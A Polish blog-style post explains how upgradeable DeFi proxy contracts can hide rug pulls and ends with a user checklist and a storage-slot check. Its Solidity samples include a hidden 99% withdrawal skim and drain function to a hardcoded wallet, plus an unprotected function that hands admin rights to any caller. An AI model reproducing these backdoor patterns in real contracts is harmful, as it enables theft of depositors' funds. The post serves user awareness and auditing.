Jakieś 90% protokołów DeFi, do których wrzucacie swoje stable, ma zaszyty w pełni legalny, backdoorowy panel sterowania. To cudo nazywa się Upgradeability. Teoria brzmi pięknie: fixowanie bugów, optymalizacja gasu. Rzeczywistość? Opcja podmiany kodu działającego kontraktu na losowy scam jednym kliknięciem i wyczyszczenie płynności do ostatniego centa.
Wczoraj do trzeciej nad ranem kminiłem jeden świeży fork na Base. Myślałem, że mam już zjazd i zmęczenie materiału, ale nie – klasyczna bomba zegarowa w proxy. Najlepsze, że mają audyt. Ładny PDF od topowej firmy security. Rozłóżmy to na czynniki pierwsze.
Architektoniczny wałek: Jak działają proxy
Dla przeciętnego użytkownika smart kontrakt to monolit. Wrzucasz na sieć i zapominasz. Jeśli jednak protokół ma być upgradeowalny, architekturę dzieli się na dwa komponenty: Proxy oraz Logikę (Implementation). User zawsze uderza do Proxy. Proxy nie ma własnej logiki biznesowej, jest kompletnie bezmózgie. Po prostu przekierowuje calle przez delegatecall.
I tu jest pies pogrzebany. delegatecall to najbardziej niebezpieczna zabawka w Solidity. Wykonuje kod kontraktu docelowego (implementacji), ale w kontekście storage samego Proxy. Zmienne leżą w Proxy, a kod leci z zewnątrz. Admin zmienia adres implementacji w kontrakcie proxy i cyk – mamy zaktualizowany protokół. Albo backdoora.
Główne wzorce sprzedawane jako gwarancja bezpieczeństwa:
- UUPS (UUPSUpgradeable): Slot z adresem logiki siedzi w samym kontrakcie logiki. Jeśli admin wgra skopany kod, który nie dziedziczy po UUPS, kontrakt zamienia się w cegłę. Na zawsze. Środki zostają zamrożone. Ironiczne? Bardzo.
- Transparent Proxy Pattern (TPP): Tutaj za logikę upgrade'u odpowiada dedykowany kontrakt
ProxyAdmin. Mamy czysty podział ról: userzy triggerują logikę biznesową, admin – tylko funkcje upgrade'u. Wygląda to lepiej, ale żre gas jak porąbane przez ciągłe sprawdzaniemsg.senderna poziomie fallbacku. - Beacon Proxy: Jeden kontrakt-najazd (Beacon) trzyma adres logiki dla setek bliźniaczych proxy. Przydatne przy kolekcjach NFT albo fabrykach pooli. Zmieniasz adres w beaconie i aktualizujesz tysiąc kontraktów naraz. Wygodne dla devów, ale dla hakera jeszcze lepsze – jeden exploit i leży cała sieć pooli.
Anatomia ruchańska na kasę: Jak znikną wasze środki
Myślicie, że do kradzieży potrzebny jest skomplikowany exploit? Skąd. Adminowi wystarczy zmiana jednej linijki w nowej wersji logiki.
Zobaczmy to na żywym organizmie. Skleciłem na szybko klasyczny przykład "czystego" kontraktu, który w ułamek sekundy zmienia się w maszynkę do rugu.
Etap 1: Czysty kontrakt (Implementation_V1.sol)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
// Zwykły pool, ludzie wpłacają środki i cieszą się yieldem
contract VaultV1 is Initializable {
address public admin;
mapping(address => uint256) public balances;
uint256 public totalFunds;
// Zamiast konstruktora leci initializer. Ktoś zapomni odpalić - kontrakt jest niczyj, do przejęcia.
function initialize() public initializer {
admin = msg.sender; // Wpada adres deployera albo multisig (miejmy nadzieję)
}
function deposit() external payable {
require(msg.value > 0, "Zero funds");
balances[msg.sender] += msg.value;
totalFunds += msg.value;
}
// Normalny withdraw, zero ukrytych opłat. Na razie.
function withdraw(uint256 _amount) external {
require(balances[msg.sender] >= _amount, "Low balance");
balances[msg.sender] -= _amount;
totalFunds -= _amount;
payable(msg.sender).transfer(_amount);
}
}Wszystko czyste. Audytorzy dają zielone światło. Protokół rusza, TVL rośnie, na Telegramie euforia.
Etap 2: Nocny upgrade (Implementation_V2.sol)
Mija miesiąc. W poolu siedzi już 5000 ETH. Admin (albo haker, który zwędził klucz prywatny) deployuje drugą wersję. Odpala upgradeTo() w proxy i podsuwa nowy adres.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
contract VaultV2 is Initializable {
// WAŻNE: Storage layout musi idealnie pokrywać się z V1.
// Zły porządek zmiennych to rozjechany mapping i totalny chaos.
address public admin;
mapping(address => uint256) public balances;
uint256 public totalFunds;
address public constant shadowWallet = 0x9965507B1a05951961A0175f653429f1c08afde6; // Portfel na kajmanach
// Zaślepka, żeby nikt nie odpalił ponownie initializera
function initialize() public initializer {}
function deposit() external payable {
balances[msg.sender] += msg.value;
totalFunds += msg.value;
}
// No i mamy backdoor. Zwykły user nic nie wyłapie w UI.
function withdraw(uint256 _amount) external {
// Pozornie wszystko gra, ale...
require(balances[msg.sender] >= _amount, "Low balance");
// Ukryty podatek. Szybkie cięcie 99% na shadowWallet.
// Czemu nie 100%? Żeby tx od razu nie wywaliła błędu. Niech myślą, że to lag UI.
uint256 tax = (_amount * 99) / 100;
uint256 userShare = _amount - tax;
balances[msg.sender] -= _amount;
totalFunds -= _amount;
payable(shadowWallet).transfer(tax);
payable(msg.sender).transfer(userShare);
}
// Ewentualnie klasyczny przycisk admina "Ewakuacja"
function emergencyDrain() external {
require(msg.sender == admin, "Not an admin");
// Czyścimy do zera. Żegnaj, płynności.
payable(shadowWallet).transfer(address(this).balance);
}
}User wchodzi na dApp, klika Withdraw, podpisuje tx. W UI kręci się kółko. Na portfel wpada marne 1% depozytu, reszta poleciała w siną dal. Ty płaczesz na Telegramie, a modzi już kasują posty i dają ci bana. Klasyk.
Kolizja slotów pamięci: Wyższa szkoła jazdy w ukrywaniu backdoorów
Czasami złośliwy team nie musi nawet pisać wprost funkcji typu emergencyDrain(). Jest sprytniejszy myk – celowe wywołanie kolizji slotów pamięci (Storage Slot Collision).
EVM nie rozróżnia nazw zmiennych. Widzi tylko sloty (od 0 do 2256-1), gdzie dane lecą sekwencyjnie. Jeśli w nowej implementacji celowo zmieni się kolejność deklaracji zmiennych, można sprawić, że nadpisanie niewinnej wartości userLimit zmieni adres admin.
Trafiłem raz na kontrakt, gdzie przy aktualizacji przed zmienną owner wciśnięto małego boola. Przez to cały layout się przesunął. Każdy user, który zmieniał swoje ustawienia, automatycznie przejmował kontrakt i mógł wyczyścić cały vault. Devy tłumaczyli się, że to zwykła pomyłka. Jasne, akurat środki poleciały na portfel, który dwa dni wcześniej robił mint z Tornado Cash. Czysty przypadek.
Checklista paranoika: Jak nie zostać exit liquidity
Jeśli myślicie, że zielony ptaszek "Verified" na Etherscanie załatwia sprawę – jesteście naiwni. To oznacza jedynie, że sam kod proxy jest czysty. Trzeba kopać głębiej.
Oto szybka ściąga – na co patrzeć i kiedy powinna zapalić się czerwona lampka, jeśli wrzucacie do protokołu coś więcej niż równowartość obiadu.
| Parametr kontraktu | Stan idealny (Safe) | Zagrożenie (Red Flag) | Jak sprawdzić w eksploratorze |
|---|---|---|---|
| Typ kontraktu | Niezmienny (Immutable) | Proxy (UUPS / Transparent) | Zakładka Contract -> Widoczne przyciski Read as Proxy / Write as Proxy. |
| Zarządzanie (Admin) | Multisig (Gnosis Safe 3/5) + Timelock | EOAs (zwykły adres jednego admina) | Sprawdzamy slot admin lub owner. Wchodzimy pod ten adres. Jeśli nie ma tam żadnego kodu (to nie kontrakt), projekt ma jednego właściciela. Wyciek klucza prywatnego oznacza bankructwo. |
| Timelock (Opóźnienie) | Od 48 godzin do 7 dni | Brak lub ustawiony na 0 | Sprawdzamy, czy wywołanie upgrade'u leci przez kontrakt-timelock. Jeśli admin może odpalić upgradeTo tu i teraz – uciekajcie. |
| Slot implementacji | Hashowany zgodnie z EIP-1967 | Własny, ukryty slot | Weryfikacja migracji storage. Sprawdzamy zakładkę State na Etherscanie podczas aktualizacji. |
Timelocki то kolejna iluzja bezpieczeństwa, na którą modlą się ugotowane przez rynek leszcze. Devsi dumnie ogłaszają na Discordzie: „Mamy 48-godzinny timelock! Żadnych niespodziewanych aktualizacji!”.
Brzmi nieźle. Admin ma dwie doby na wrzucenie transakcji z upgreadem, a Ty masz dwie doby, żeby wyłapać podstęp, podnieść raban i uratować swoje środki. Rzeczywistość? Nikogo to nie obchodzi.
Kto z Was monitoruje mempool albo eventy timelocka 24/7? Nikt. Śpicie, pracujecie, pijecie piwo. Hacker albo nieuczciwy admin wrzuca transakcję w piątek wieczorem. W niedzielę w nocy blokada mija, kod zostaje podmieniony, a w poniedziałek rano budzicie się z zerem na koncie. Taki lag czasowy ratuje tyłek tylko wtedy, kiedy macie ustawione automatyczne alerty (choćby przez Defender Sentinel czy Tenderly) i boty do natychmiastowego wycofania płynności. Nie masz bota? Będziesz tylko bezradnie patrzeć, jak Twoje krypto odpływa, czekając w kolejce na rzeź.
A teraz pomówmy o mało znanym patencie, o którym rzadko przeczytacie w standardowych raportach z audytów.
Architektoniczne miny: Ukryte metody inicjalizacji
Przy wdrażaniu zwykłego kontraktu odpala się constructor. Wykonuje się tylko raz, zapisuje co trzeba w storage i znika. W architekturze proxy konstruktor implementacji nie tyka storage samego proxy. Żeby to obejść, wymyślono funkcję inicjalizującą, czyli wspomniany wcześniej initialize.
I tu wkracza wyższa szkoła inżynierii backdoorów. Co jeśli admin zostawił drugą funkcję inicjalizującą? Albo ukrytą metodę re-initialization?
W bibliotekach OpenZeppelin znajdziecie modyfikator reinitializer(uint8 version). Służy do tego, żeby przy przejściu na wersję V2 zainicjować nowe zmienne. Jeśli jednak deweloper napisze własnego potworka albo „przypadkowo” zapomni zabezpieczyć funkcję ponownej konfiguracji, każdy z ulicy będzie mógł nadpisać krytyczne zmienne w pamięci.
Przykład podatnego (lub celowo podstawionego) kodu migracji:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
contract VaultV3 is Initializable {
address public admin;
mapping(address => uint256) public balances;
uint256 public totalFunds;
// Nowe zmienne dla wersji V3
bool public isPaused;
address public trustedRecoveryAddress;
// Reinicjalizator, niby pod upgrade.
// Widzisz, gdzie jest błąd w tej funkcji?
function upgradeConfig(address _recovery) external {
// "Zapomniano" o require(msg.sender == admin, "Not admin");
// Albo zaszyto tu logikę, która resetuje status inicjalizacji.
trustedRecoveryAddress = _recovery;
// Mały prezent dla samego siebie:
admin = msg.sender; // Bam! Ktokolwiek odpali funkcję, przejmuje uprawnienia admina.
}
}Powiesz: „Bez przesady, to zbyt prymitywny bug, audytor od razu to wyłapie”. Guzik prawda. Takie rzeczy ukrywa się za skomplikowanymi wzorami matematycznymi albo wewnątrz zewnętrznych bibliotek importowanych podczas deployu. W efekcie funkcja wygląda jak niewinne naliczanie odsetek, a pod maską leci zwykły overwrite slotu admina.
Jak to wygląda od zaplecza: Bezpośredni odczyt slotów pamięci
Jeśli admini postanowią zrobić exit ruga, nie wrzucą zweryfikowanego kodu backdoora na Etherscan. Wdrożą implementację bez weryfikacji kodu źródłowego. W explorerze zobaczysz tylko surowy bytecode. Brzmi groźnie? I słusznie.
Żeby sprawdzić, gdzie w tej sekundzie kieruje proxy, trzeba potrafić czytać u źródła — prosto ze slotów pamięci. Według standardu EIP-1967 adres logiki musi leżeć w konkretnym, z góry określonym slocie. Ma to zapobiegać wspomnianym kolizjom storage.
Adres slotu implementacji (EIP-1967):bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)
Co daje nam hash: 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc
Jeśli potrafisz posłużyć się eth_getStorageAt, masz gdzieś, czy kontrakt jest zweryfikowany. Bierzesz adres proxy, odpytujesz ten konkretny slot i dostajesz czysty adres hex aktualnego kontraktu logiki. Jeśli ten adres zmienił się bez zapowiedzi — natychmiast uciekaj ze środkami.
# Przykład zapytania przez RPC (curl) do sprawdzenia, co tam naprawdę siedzi
curl https://mainnet.infura.io/v3/YOUR_KEY \
-X POST \
-H "Content-Type: application/json" \
--data '{"jsonrpc":"2.0","method":"eth_getStorageAt","params":["0xProxyContractAddress", "0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc", "latest"],"id":1}'W odpowiedzi dostaniesz 32 bajty. Ostatnie 20 bajtów to faktyczny adres kontraktu, który zarządza Twoją kasą w tym konkretnym momencie. Nie ten z ładnego interfejsu strony, ale ten, który wykona delegatecall.
Podsumowanie
Zapamiętaj: upgradeability to zawsze kompromis pomiędzy wygodą dewelopera a bezpieczeństwem inwestora. Jeśli projekt chwali się miliardowym TVL (Total Value Locked), ale działa na proxy zarządzanym przez multisig 2-z-3 bez żadnego timelocka, to ten miliard nie należy do użytkowników. Należy do trzech gości, którzy mają klucze. Albo do jednego hackera, który wyciągnie je od nich phishingiem.
Gdy kontrakt jest modyfikowalny, z automatu ufasz ludziom, a nie kodowi. A ludzie, jak pokazuje historia krypto, łatwo pękają pod presją, dają się szantażować albo po prostu tracą rozum na widok kwot z sześcioma zerami.